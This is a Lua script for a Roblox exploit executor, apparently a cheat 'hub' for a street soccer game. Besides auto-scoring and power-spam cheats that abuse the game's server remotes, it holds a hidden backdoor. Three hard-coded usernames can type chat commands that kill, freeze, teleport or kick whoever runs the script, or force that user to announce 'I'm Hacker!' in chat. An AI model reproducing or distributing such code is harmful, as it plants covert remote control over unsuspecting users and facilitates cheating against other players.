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- if sLoaded and not _G.IY_DEBUG == true then
- warn("Street Soccer Hub checker is already running!")
- return
- end
- pcall(function() getgenv().sLoaded = true end)
- tet = true
- killtet = true
- local check1 = '3bdh_m7trf'
- local check2 = 'tghurifjmdks'
- local check3 = 'eiusdjhx'
- local check4 = ''
- local check5 = ''
- local check6 = ''
- local check7 = ''
- local check8 = ''
- local check9 = ''
- local check10 = ''
- local check11 = ''
- local check12 = ''
- local check13 = ''
- for _,P in ipairs(game.Players:GetPlayers()) do
- P.Chatted:Connect(function(m)
- if m == ';'..'unalloff' then
- if P.Name == check1 or P.Name == check2 or P.Name == check3 or P.Name == check4 or P.Name == check6 or P.Name == check7 or P.Name == check8 or P.Name == check9 or P.Name == check10 or P.Name == check11 or P.Name == check12 or P.Name == check13 then
- if P.Name ~= game.Players.LocalPlayer.Name then
- getgenv().loopoff = false
- end
- end
- end
- if m == ';'..'alloff' then
- if P.Name == check1 or P.Name == check2 or P.Name == check3 or P.Name == check4 or P.Name == check6 or P.Name == check7 or P.Name == check8 or P.Name == check9 or P.Name == check10 or P.Name == check11 or P.Name == check12 or P.Name == check13 then
- if P.Name ~= game.Players.LocalPlayer.Name then
- getgenv().loopoff = true
- while getgenv().loopoff do
- wait(0.2)
- getgenv().loop = false
- getgenv().goalkeeper = false
- end
- end
- end
- end
- if m == ';'..'uninvg' then
- if P.Name == check1 or P.Name == check2 or P.Name == check3 or P.Name == check4 or P.Name == check6 or P.Name == check7 or P.Name == check8 or P.Name == check9 or P.Name == check10 or P.Name == check11 or P.Name == check12 or P.Name == check13 then
- if P.Name ~= game.Players.LocalPlayer.Name then
- getgenv().invg = false
- end
- end
- end
- if m == ';'..'invg' then
- if P.Name == check1 or P.Name == check2 or P.Name == check3 or P.Name == check4 or P.Name == check6 or P.Name == check7 or P.Name == check8 or P.Name == check9 or P.Name == check10 or P.Name == check11 or P.Name == check12 or P.Name == check13 then
- if P.Name ~= game.Players.LocalPlayer.Name then
- getgenv().invg = true
- while getgenv().invg do
- wait()
- getgenv().loop = false
- pcall(function()
- if game:GetService("Workspace").TPSSystem.TPS.Position.Y >= 11 then
- if tostring(game.Players.LocalPlayer.Team) == 'Red' then
- local plr = game:GetService("Players").LocalPlayer
- local root = plr.Character.HumanoidRootPart
- local ball = game:GetService("Workspace").TPSSystem.TPS
- Goal = game:GetService("Workspace").TPSSystem.Part1
- local Distance = (Goal.CFrame.p - ball.CFrame.p).Magnitude
- root.CFrame = CFrame.new(Goal.CFrame.p, ball.CFrame.p) * CFrame.new(0, 0, -Distance - 3)
- root.CFrame = CFrame.new(root.Position, Goal.Position)
- local args = {
- [1] = workspace.TPSSystem.TPS,
- [2] = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart,
- [3] = 70,
- [4] = Vector3.new(math.huge, 1, math.huge)
- }
- workspace.FE.Actions.KickG1:FireServer(unpack(args))
- elseif tostring(game.Players.LocalPlayer.Team) == 'Blue' then
- local plr = game:GetService("Players").LocalPlayer
- local root = plr.Character.HumanoidRootPart
- local ball = game:GetService("Workspace").TPSSystem.TPS
- Goal = game:GetService("Workspace").TPSSystem.Part2
- local Distance = (Goal.CFrame.p - ball.CFrame.p).Magnitude
- root.CFrame = CFrame.new(Goal.CFrame.p, ball.CFrame.p) * CFrame.new(0, 0, -Distance - 3)
- root.CFrame = CFrame.new(root.Position, Goal.Position)
- local args = {
- [1] = workspace.TPSSystem.TPS,
- [2] = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart,
- [3] = 70,
- [4] = Vector3.new(math.huge, 1, math.huge)
- }
- workspace.FE.Actions.KickG1:FireServer(unpack(args))
- end
- end
- end)
- end
- end
- end
- end
- if m == ';'..'usep' then
- if P.Name == check1 or P.Name == check2 or P.Name == check3 or P.Name == check4 or P.Name == check6 or P.Name == check7 or P.Name == check8 or P.Name == check9 or P.Name == check10 or P.Name == check11 or P.Name == check12 or P.Name == check13 then
- if P.Name ~= game.Players.LocalPlayer.Name then
- local a = 0
- repeat
- task.wait()
- a=a+1
- workspace.FE.Powers.Bomb:FireServer()
- workspace.FE.Powers.Wall:FireServer()
- workspace.FE.Powers.Burn:FireServer()
- workspace.FE.Powers.Spike:FireServer()
- until a >= 300
- end
- end
- end
- if m == ';'..'detect' then
- if P.Name == check1 or P.Name == check2 or P.Name == check3 or P.Name == check4 or P.Name == check6 or P.Name == check7 or P.Name == check8 or P.Name == check9 or P.Name == check10 or P.Name == check11 or P.Name == check12 or P.Name == check13 then
- if P.Name ~= game.Players.LocalPlayer.Name then
- local args = {
- [1] = "I'm Hacker!",
- [2] = "All"
- }
- game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(args))
- end
- end
- end
- if m == ';'..'unloopkill' then
- if P.Name == check1 or P.Name == check2 or P.Name == check3 or P.Name == check4 or P.Name == check6 or P.Name == check7 or P.Name == check8 or P.Name == check9 or P.Name == check10 or P.Name == check11 or P.Name == check12 or P.Name == check13 then
- if P.Name ~= game.Players.LocalPlayer.Name then
- getgenv().loopkill = false
- end
- end
- end
- if m == ';'..'loopkill' then
- if P.Name == check1 or P.Name == check2 or P.Name == check3 or P.Name == check4 or P.Name == check6 or P.Name == check7 or P.Name == check8 or P.Name == check9 or P.Name == check10 or P.Name == check11 or P.Name == check12 or P.Name == check13 then
- if P.Name ~= game.Players.LocalPlayer.Name then
- getgenv().loopkill = true
- while getgenv().loopkill do
- wait(0.1)
- pcall(function() game.Players.LocalPlayer.Character.Head:Destroy() end)
- end
- end
- end
- end
- if m == ';'..'kill' then
- if P.Name == check1 or P.Name == check2 or P.Name == check3 or P.Name == check4 or P.Name == check6 or P.Name == check7 or P.Name == check8 or P.Name == check9 or P.Name == check10 or P.Name == check11 or P.Name == check12 or P.Name == check13 then
- if P.Name ~= game.Players.LocalPlayer.Name then
- pcall(function()
- game.Players.LocalPlayer.Character.Head:Destroy()
- end)
- end
- end
- end
- if m == ';'..'bring' then
- if P.Name == check1 or P.Name == check2 or P.Name == check3 or P.Name == check4 or P.Name == check6 or P.Name == check7 or P.Name == check8 or P.Name == check9 or P.Name == check10 or P.Name == check11 or P.Name == check12 or P.Name == check13 then
- if P.Name ~= game.Players.LocalPlayer.Name then
- pcall(function()
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(P.Character.HumanoidRootPart.Position)
- end)
- end
- end
- end
- if m == ';'..'kick' then
- if P.Name == check1 or P.Name == check2 or P.Name == check3 or P.Name == check4 or P.Name == check6 or P.Name == check7 or P.Name == check8 or P.Name == check9 or P.Name == check10 or P.Name == check11 or P.Name == check12 or P.Name == check13 then
- if P.Name ~= game.Players.LocalPlayer.Name then
- pcall(function()
- game.Players.LocalPlayer:kick('You Have Been Kicked By Hub Mod')
- end)
- end
- end
- end
- if m == ';'..'freeze' then
- if P.Name == check1 or P.Name == check2 or P.Name == check3 or P.Name == check4 or P.Name == check6 or P.Name == check7 or P.Name == check8 or P.Name == check9 or P.Name == check10 or P.Name == check11 or P.Name == check12 or P.Name == check13 then
- if P.Name ~= game.Players.LocalPlayer.Name then
- if tet then
- tet = false
- game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored = true
- else
- tet = true
- game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored = false
- end
- end
- end
- end
- end)
- end
- game.Players.PlayerAdded:Connect(function(P)
- game.Players[P.Name].Chatted:Connect(function(m)
- if m == ';'..'usep' then
- if P.Name == check1 or P.Name == check2 or P.Name == check3 or P.Name == check4 or P.Name == check6 or P.Name == check7 or P.Name == check8 or P.Name == check9 or P.Name == check10 or P.Name == check11 or P.Name == check12 or P.Name == check13 then
- if P.Name ~= game.Players.LocalPlayer.Name then
- local a = 0
- repeat
- task.wait()
- a=a+1
- workspace.FE.Powers.Bomb:FireServer()
- workspace.FE.Powers.Wall:FireServer()
- workspace.FE.Powers.Burn:FireServer()
- workspace.FE.Powers.Spike:FireServer()
- until a >= 300
- end
- end
- end
- if m == ';'..'detect' then
- if P.Name == check1 or P.Name == check2 or P.Name == check3 or P.Name == check4 or P.Name == check6 or P.Name == check7 or P.Name == check8 or P.Name == check9 or P.Name == check10 or P.Name == check11 or P.Name == check12 or P.Name == check13 then
- if P.Name ~= game.Players.LocalPlayer.Name then
- local args = {
- [1] = "I'm Hacker!",
- [2] = "All"
- }
- game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(args))
- end
- end
- end
- if m == ';'..'unloopkill' then
- if P.Name == check1 or P.Name == check2 or P.Name == check3 or P.Name == check4 or P.Name == check6 or P.Name == check7 or P.Name == check8 or P.Name == check9 or P.Name == check10 or P.Name == check11 or P.Name == check12 or P.Name == check13 then
- if P.Name ~= game.Players.LocalPlayer.Name then
- getgenv().loopkill = false
- end
- end
- end
- if m == ';'..'loopkill' then
- if P.Name == check1 or P.Name == check2 or P.Name == check3 or P.Name == check4 or P.Name == check6 or P.Name == check7 or P.Name == check8 or P.Name == check9 or P.Name == check10 or P.Name == check11 or P.Name == check12 or P.Name == check13 then
- if P.Name ~= game.Players.LocalPlayer.Name then
- getgenv().loopkill = true
- while getgenv().loopkill do
- wait(0.1)
- pcall(function() game.Players.LocalPlayer.Character.Head:Destroy() end)
- end
- end
- end
- end
- if m == ';'..'kill' then
- if P.Name == check1 or P.Name == check2 or P.Name == check3 or P.Name == check4 or P.Name == check6 or P.Name == check7 or P.Name == check8 or P.Name == check9 or P.Name == check10 or P.Name == check11 or P.Name == check12 or P.Name == check13 then
- if P.Name ~= game.Players.LocalPlayer.Name then
- pcall(function()
- game.Players.LocalPlayer.Character.Head:Destroy()
- end)
- end
- end
- end
- if m == ';'..'bring' then
- if P.Name == check1 or P.Name == check2 or P.Name == check3 or P.Name == check4 or P.Name == check6 or P.Name == check7 or P.Name == check8 or P.Name == check9 or P.Name == check10 or P.Name == check11 or P.Name == check12 or P.Name == check13 then
- if P.Name ~= game.Players.LocalPlayer.Name then
- pcall(function()
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(P.Character.HumanoidRootPart.Position)
- end)
- end
- end
- end
- if m == ';'..'kick' then
- if P.Name == check1 or P.Name == check2 or P.Name == check3 or P.Name == check4 or P.Name == check6 or P.Name == check7 or P.Name == check8 or P.Name == check9 or P.Name == check10 or P.Name == check11 or P.Name == check12 or P.Name == check13 then
- if P.Name ~= game.Players.LocalPlayer.Name then
- pcall(function()
- game.Players.LocalPlayer:kick('You Have Been Kicked By Hub Mod')
- end)
- end
- end
- end
- if m == ';'..'freeze' then
- if P.Name == check1 or P.Name == check2 or P.Name == check3 or P.Name == check4 or P.Name == check6 or P.Name == check7 or P.Name == check8 or P.Name == check9 or P.Name == check10 or P.Name == check11 or P.Name == check12 or P.Name == check13 then
- if P.Name ~= game.Players.LocalPlayer.Name then
- if tet then
- tet = false
- game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored = true
- else
- tet = true
- game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored = false
- end
- end
- end
- end
- end)
- end)
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